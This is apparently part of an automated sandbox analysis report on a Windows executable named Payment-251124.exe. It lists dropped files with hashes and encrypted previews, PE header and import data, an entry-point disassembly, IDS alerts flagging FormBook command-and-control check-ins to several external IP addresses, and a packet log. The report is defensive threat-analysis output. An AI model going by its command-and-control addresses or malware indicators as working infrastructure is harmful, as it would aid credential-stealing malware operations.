                                                      Process:C:\Windows\SysWOW64\tzutil.exe
                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                      Category:dropped
                                                      Size (bytes):114688
                                                      Entropy (8bit):0.9746603542602881
                                                      Encrypted:false
                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                      Malicious:false
                                                      Reputation:high, very likely benign file
                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                      C:\Users\user\AppData\Local\Temp\aut37CB.tmp

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Payment-251124.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):289280
                                                      Entropy (8bit):7.994148307258909
                                                      Encrypted:true
                                                      SSDEEP:6144:mkZKRgyrVsNbpbPP7A1aRvmuxbqmyfb5hCF2amRhp4mz4laraDgVjiz:nZ4sNbpbPzACEf1hCFo3ra8Bq
                                                      MD5:E82755F5858EA858D43D83FC96475039
                                                      SHA1:9326C26E6FB030A6C66A982AF184D49CFC7AF886
                                                      SHA-256:2F31CF887E6162645966362128DB03945C49B7C8EB0D2C2794FAC36A4AF844F0
                                                      SHA-512:C304EA4F127C1BB263241000CB80BA1C03C84371AED4C5ED26C15A5A59D19D59E8865DE503E66034B551F7C12248C7B6DD2A003073664EEDF7413F17C005ECF9
                                                      Malicious:false
                                                      Reputation:low
                                                      Preview:...8FBHR]VWM..5A.F9HP9HJ.8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5A.F9H^&.DT.L.i.X..l.&\2j6K'7K)'t[$,&=-v5(h<@/j/Wh.v.j9W!'f_T\sMHN5AJF@IY.u*3.x"/.d60.R.p&^.J..hX".R..k-/.g()..(7.HJT8EBHR..WM.O4A..P.P9HJT8EB.R[W\LCN5.NF9HP9HJT8.QHRYFWMH>1AJFyHP)HJT:EBNRYVWMHN3AJF9HP9H:P8E@HRYVWMJNu.JF)HP)HJT8UBHBYVWMHN%AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN.5/>MHP9..P8ERHRY.SMH^5AJF9HP9HJT8EBhRY6WMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYV

                                                      C:\Users\user\AppData\Local\Temp\batchers

                                                      Download File
                                                      Process:C:\Users\user\Desktop\Payment-251124.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):289280
                                                      Entropy (8bit):7.994148307258909
                                                      Encrypted:true
                                                      SSDEEP:6144:mkZKRgyrVsNbpbPP7A1aRvmuxbqmyfb5hCF2amRhp4mz4laraDgVjiz:nZ4sNbpbPzACEf1hCFo3ra8Bq
                                                      MD5:E82755F5858EA858D43D83FC96475039
                                                      SHA1:9326C26E6FB030A6C66A982AF184D49CFC7AF886
                                                      SHA-256:2F31CF887E6162645966362128DB03945C49B7C8EB0D2C2794FAC36A4AF844F0
                                                      SHA-512:C304EA4F127C1BB263241000CB80BA1C03C84371AED4C5ED26C15A5A59D19D59E8865DE503E66034B551F7C12248C7B6DD2A003073664EEDF7413F17C005ECF9
                                                      Malicious:false
                                                      Preview:...8FBHR]VWM..5A.F9HP9HJ.8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5A.F9H^&.DT.L.i.X..l.&\2j6K'7K)'t[$,&=-v5(h<@/j/Wh.v.j9W!'f_T\sMHN5AJF@IY.u*3.x"/.d60.R.p&^.J..hX".R..k-/.g()..(7.HJT8EBHR..WM.O4A..P.P9HJT8EB.R[W\LCN5.NF9HP9HJT8.QHRYFWMH>1AJFyHP)HJT:EBNRYVWMHN3AJF9HP9H:P8E@HRYVWMJNu.JF)HP)HJT8UBHBYVWMHN%AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN.5/>MHP9..P8ERHRY.SMH^5AJF9HP9HJT8EBhRY6WMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYVWMHN5AJF9HP9HJT8EBHRYV

                                                      Static File Info

                                                      General

                                                      File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                      Entropy (8bit):7.145427094101434
                                                      TrID:
                                                      • Win32 Executable (generic) a (10002005/4) 99.96%
                                                      • Generic Win/DOS Executable (2004/3) 0.02%
                                                      • DOS Executable Generic (2002/1) 0.02%
                                                      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                      File name:Payment-251124.exe
                                                      File size:1'209'856 bytes
                                                      MD5:bfcef9bd24b02ff03f80b4afcd3aab1e
                                                      SHA1:d7061c0fbd17011e8b67087403184c09c9b46f57
                                                      SHA256:d3fcbc56da2d26372226d0e313d9f5af80f4df67b3477cc519c071beab7cea76
                                                      SHA512:5d0c7bd222517b7ca1d59a3cfbd41ffb7593d2a333c4fb7bf03c35d8a47d9618e4124f4d87ab22758f6a027d545445d7206df6a50f07caab7bfbb35aaa9571c1
                                                      SSDEEP:24576:Ctb20pkaCqT5TBWgNQ7a7hN3S6waRcJVk6A:PVg5tQ7a7hN3S0QS5
                                                      TLSH:AF45CF1273DEC361C3B26273BA167B01BEBB782506A5F56B2FD4093DE920122525E773
                                                      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d..............'.a.....H.k.....H.h.....H.i......}%......}5...............~.......k.......o.......1.......j.....Rich...........

                                                      File Icon

                                                      Icon Hash:aaf3e3e3938382a0

                                                      Static PE Info

                                                      General

                                                      Entrypoint:0x425f74
                                                      Entrypoint Section:.text
                                                      Digitally signed:false
                                                      Imagebase:0x400000
                                                      Subsystem:windows gui
                                                      Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                                      DLL Characteristics:DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                                                      Time Stamp:0x6743BDEC [Sun Nov 24 23:59:40 2024 UTC]
                                                      TLS Callbacks:
                                                      CLR (.Net) Version:
                                                      OS Version Major:5
                                                      OS Version Minor:1
                                                      File Version Major:5
                                                      File Version Minor:1
                                                      Subsystem Version Major:5
                                                      Subsystem Version Minor:1
                                                      Import Hash:3d95adbf13bbe79dc24dccb401c12091

                                                      Entrypoint Preview

                                                      Instruction
                                                      call 00007F506C85DEDFh
                                                      jmp 00007F506C850EF4h
                                                      int3
                                                      int3
                                                      push edi
                                                      push esi
                                                      mov esi, dword ptr [esp+10h]
                                                      mov ecx, dword ptr [esp+14h]
                                                      mov edi, dword ptr [esp+0Ch]
                                                      mov eax, ecx
                                                      mov edx, ecx
                                                      add eax, esi
                                                      cmp edi, esi
                                                      jbe 00007F506C85107Ah
                                                      cmp edi, eax
                                                      jc 00007F506C8513DEh
                                                      bt dword ptr [004C0158h], 01h
                                                      jnc 00007F506C851079h
                                                      rep movsb
                                                      jmp 00007F506C85138Ch
                                                      cmp ecx, 00000080h
                                                      jc 00007F506C851244h
                                                      mov eax, edi
                                                      xor eax, esi
                                                      test eax, 0000000Fh
                                                      jne 00007F506C851080h
                                                      bt dword ptr [004BA370h], 01h
                                                      jc 00007F506C851550h
                                                      bt dword ptr [004C0158h], 00000000h
                                                      jnc 00007F506C85121Dh
                                                      test edi, 00000003h
                                                      jne 00007F506C85122Eh
                                                      test esi, 00000003h
                                                      jne 00007F506C85120Dh
                                                      bt edi, 02h
                                                      jnc 00007F506C85107Fh
                                                      mov eax, dword ptr [esi]
                                                      sub ecx, 04h
                                                      lea esi, dword ptr [esi+04h]
                                                      mov dword ptr [edi], eax
                                                      lea edi, dword ptr [edi+04h]
                                                      bt edi, 03h
                                                      jnc 00007F506C851083h
                                                      movq xmm1, qword ptr [esi]
                                                      sub ecx, 08h
                                                      lea esi, dword ptr [esi+08h]
                                                      movq qword ptr [edi], xmm1
                                                      lea edi, dword ptr [edi+08h]
                                                      test esi, 00000007h
                                                      je 00007F506C8510D5h
                                                      bt esi, 03h
                                                      jnc 00007F506C851128h
                                                      movdqa xmm1, dqword ptr [esi+00h]

                                                      Rich Headers

                                                      Programming Language:
                                                      • [ C ] VS2008 SP1 build 30729
                                                      • [IMP] VS2008 SP1 build 30729
                                                      • [ASM] VS2012 UPD4 build 61030
                                                      • [RES] VS2012 UPD4 build 61030
                                                      • [LNK] VS2012 UPD4 build 61030

                                                      Data Directories

                                                      NameVirtual AddressVirtual Size Is in Section
                                                      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_IMPORT0xb70040x17c.rdata
                                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0xc40000x5e448.rsrc
                                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0x1230000x6c4c.reloc
                                                      IMAGE_DIRECTORY_ENTRY_DEBUG0x8d8d00x1c.rdata
                                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0xb27300x40.rdata
                                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_IAT0x8d0000x860.rdata
                                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                      Sections

                                                      NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                      .text0x10000x8b54f0x8b600f437a6545e938612764dbb0a314376fcFalse0.5699499019058296data6.680413749210956IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                      .rdata0x8d0000x2cc420x2ce00827ffd24759e8e420890ecf164be989eFalse0.330464397632312data5.770192333189168IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                      .data0xba0000x9d540x6200e0a519f8e3a35fae0d9c2cfd5a4bacfcFalse0.16402264030612246data2.002691099965349IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                      .rsrc0xc40000x5e4480x5e600cf3f076b76f5d616e46cdc8f2e750cc6False0.9318527524834437data7.905593772360511IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                      .reloc0x1230000xa4740xa6000bc98f8631ef0bde830a7f83bb06ff08False0.5017884036144579data5.245426654116355IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                      Resources

                                                      NameRVASizeTypeLanguageCountryZLIB Complexity
                                                      RT_ICON0xc44a00x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                                      RT_ICON0xc45c80x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 0EnglishGreat Britain0.3333333333333333
                                                      RT_ICON0xc48b00x128Device independent bitmap graphic, 16 x 32 x 4, image size 0EnglishGreat Britain0.5
                                                      RT_ICON0xc49d80xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0EnglishGreat Britain0.2835820895522388
                                                      RT_ICON0xc58800x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0EnglishGreat Britain0.37906137184115524
                                                      RT_ICON0xc61280x568Device independent bitmap graphic, 16 x 32 x 8, image size 0EnglishGreat Britain0.23699421965317918
                                                      RT_ICON0xc66900x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishGreat Britain0.13858921161825727
                                                      RT_ICON0xc8c380x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishGreat Britain0.25070356472795496
                                                      RT_ICON0xc9ce00x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishGreat Britain0.3173758865248227
                                                      RT_STRING0xca1480x594dataEnglishGreat Britain0.3333333333333333
                                                      RT_STRING0xca6dc0x68adataEnglishGreat Britain0.2747909199522103
                                                      RT_STRING0xcad680x490dataEnglishGreat Britain0.3715753424657534
                                                      RT_STRING0xcb1f80x5fcdataEnglishGreat Britain0.3087467362924282
                                                      RT_STRING0xcb7f40x65cdataEnglishGreat Britain0.34336609336609336
                                                      RT_STRING0xcbe500x466dataEnglishGreat Britain0.3605683836589698
                                                      RT_STRING0xcc2b80x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishGreat Britain0.502906976744186
                                                      RT_RCDATA0xcc4100x55b1fdata1.0003304777397601
                                                      RT_GROUP_ICON0x121f300x76dataEnglishGreat Britain0.6610169491525424
                                                      RT_GROUP_ICON0x121fa80x14dataEnglishGreat Britain1.15
                                                      RT_VERSION0x121fbc0xdcdataEnglishGreat Britain0.6181818181818182
                                                      RT_MANIFEST0x1220980x3b0ASCII text, with CRLF line terminatorsEnglishGreat Britain0.5116525423728814

                                                      Imports

                                                      DLLImport
                                                      WSOCK32.dll__WSAFDIsSet, recv, send, setsockopt, ntohs, recvfrom, select, WSAStartup, htons, accept, listen, bind, closesocket, connect, WSACleanup, ioctlsocket, sendto, WSAGetLastError, inet_addr, gethostbyname, gethostname, socket
                                                      VERSION.dllGetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
                                                      WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                                      COMCTL32.dllImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_Create, InitCommonControlsEx, ImageList_ReplaceIcon
                                                      MPR.dllWNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
                                                      WININET.dllInternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetConnectW, InternetQueryDataAvailable
                                                      PSAPI.DLLGetProcessMemoryInfo
                                                      IPHLPAPI.DLLIcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
                                                      USERENV.dllUnloadUserProfile, DestroyEnvironmentBlock, CreateEnvironmentBlock, LoadUserProfileW
                                                      UxTheme.dllIsThemeActive
                                                      KERNEL32.dllHeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetCurrentThread, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, DeleteCriticalSection, WaitForSingleObject, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, CloseHandle, GetLastError, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, RaiseException, InitializeCriticalSectionAndSpinCount, InterlockedDecrement, InterlockedIncrement, CreateThread, DuplicateHandle, EnterCriticalSection, GetCurrentProcess, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, HeapSize, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, SetFilePointer, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, HeapReAlloc, WriteConsoleW, SetEndOfFile, DeleteFileW, SetEnvironmentVariableA
                                                      USER32.dllSetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, DrawMenuBar, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, MonitorFromRect, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, CopyImage, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, UnregisterHotKey, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, DeleteMenu, PeekMessageW, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, CharLowerBuffW, GetWindowTextW
                                                      GDI32.dllSetPixel, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, GetDeviceCaps, CloseFigure, LineTo, AngleArc, CreateCompatibleBitmap, CreateCompatibleDC, MoveToEx, Ellipse, PolyDraw, BeginPath, SelectObject, StretchBlt, GetDIBits, DeleteDC, GetPixel, CreateDCW, GetStockObject, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, EndPath
                                                      COMDLG32.dllGetSaveFileNameW, GetOpenFileNameW
                                                      ADVAPI32.dllGetAclInformation, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, InitiateSystemShutdownExW, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, SetSecurityDescriptorDacl, AddAce, GetAce
                                                      SHELL32.dllDragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                                                      ole32.dllCoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
                                                      OLEAUT32.dllRegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, UnRegisterTypeLib, SafeArrayCreateVector, SysAllocString, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, QueryPathOfRegTypeLib, VariantCopy, VariantClear, CreateDispTypeInfo, CreateStdDispatch, DispCallFunc, VariantChangeType, SafeArrayAllocDescriptorEx, VariantInit

                                                      Possible Origin

                                                      Language of compilation systemCountry where language is spokenMap
                                                      EnglishGreat Britain

                                                      Network Behavior

                                                      Suricata IDS Alerts

                                                      TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                      2024-11-25T15:28:14.356589+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.449784217.160.0.11380TCP
                                                      2024-11-25T15:28:16.936019+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.449790217.160.0.11380TCP
                                                      2024-11-25T15:28:19.686562+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.449797217.160.0.11380TCP
                                                      2024-11-25T15:28:30.446542+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.449823114.55.89.5480TCP
                                                      2024-11-25T15:28:33.118320+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.449829114.55.89.5480TCP
                                                      2024-11-25T15:28:35.790146+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.449835114.55.89.5480TCP
                                                      2024-11-25T15:29:06.118255+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.449907154.205.159.11680TCP
                                                      2024-11-25T15:29:08.790198+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.449913154.205.159.11680TCP
                                                      2024-11-25T15:29:11.462075+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.449919154.205.159.11680TCP
                                                      2024-11-25T15:29:21.712001+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.44994138.181.21.17880TCP
                                                      2024-11-25T15:29:24.384008+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.44994738.181.21.17880TCP
                                                      2024-11-25T15:29:27.055861+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.44995438.181.21.17880TCP
                                                      2024-11-25T15:29:46.215257+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.44999923.167.152.4180TCP
                                                      2024-11-25T15:29:48.532492+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.45000623.167.152.4180TCP
                                                      2024-11-25T15:29:51.239366+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.45001223.167.152.4180TCP

                                                      Network Port Distribution

                                                      TCP Packets

                                                      TimestampSource PortDest PortSource IPDest IP
                                                      Nov 25, 2024 15:27:55.286896944 CET4974880192.168.2.4104.21.24.198
                                                      Nov 25, 2024 15:27:55.407006979 CET8049748104.21.24.198192.168.2.4
                                                      Nov 25, 2024 15:27:55.407126904 CET4974880192.168.2.4104.21.24.198
                                                      Nov 25, 2024 15:27:55.418246984 CET4974880192.168.2.4104.21.24.198
                                                      Nov 25, 2024 15:27:55.538304090 CET8049748104.21.24.198192.168.2.4
                                                      Nov 25, 2024 15:27:56.869744062 CET8049748104.21.24.198192.168.2.4
                                                      Nov 25, 2024 15:27:56.869791985 CET8049748104.21.24.198192.168.2.4
                                                      Nov 25, 2024 15:27:56.869910002 CET4974880192.168.2.4104.21.24.198
                                                      Nov 25, 2024 15:27:56.942382097 CET8049748104.21.24.198192.168.2.4
                                                      Nov 25, 2024 15:27:56.942445993 CET8049748104.21.24.198192.168.2.4
                                                      Nov 25, 2024 15:27:56.942601919 CET4974880192.168.2.4104.21.24.198
                                                      Nov 25, 2024 15:27:56.964895010 CET8049748104.21.24.198192.168.2.4
                                                      Nov 25, 2024 15:27:56.989717960 CET8049748104.21.24.198192.168.2.4
                                                      Nov 25, 2024 15:27:56.989733934 CET8049748104.21.24.198192.168.2.4
                                                      Nov 25, 2024 15:27:56.989947081 CET4974880192.168.2.4104.21.24.198
                                                      Nov 25, 2024 15:27:57.062905073 CET8049748104.21.24.198192.168.2.4
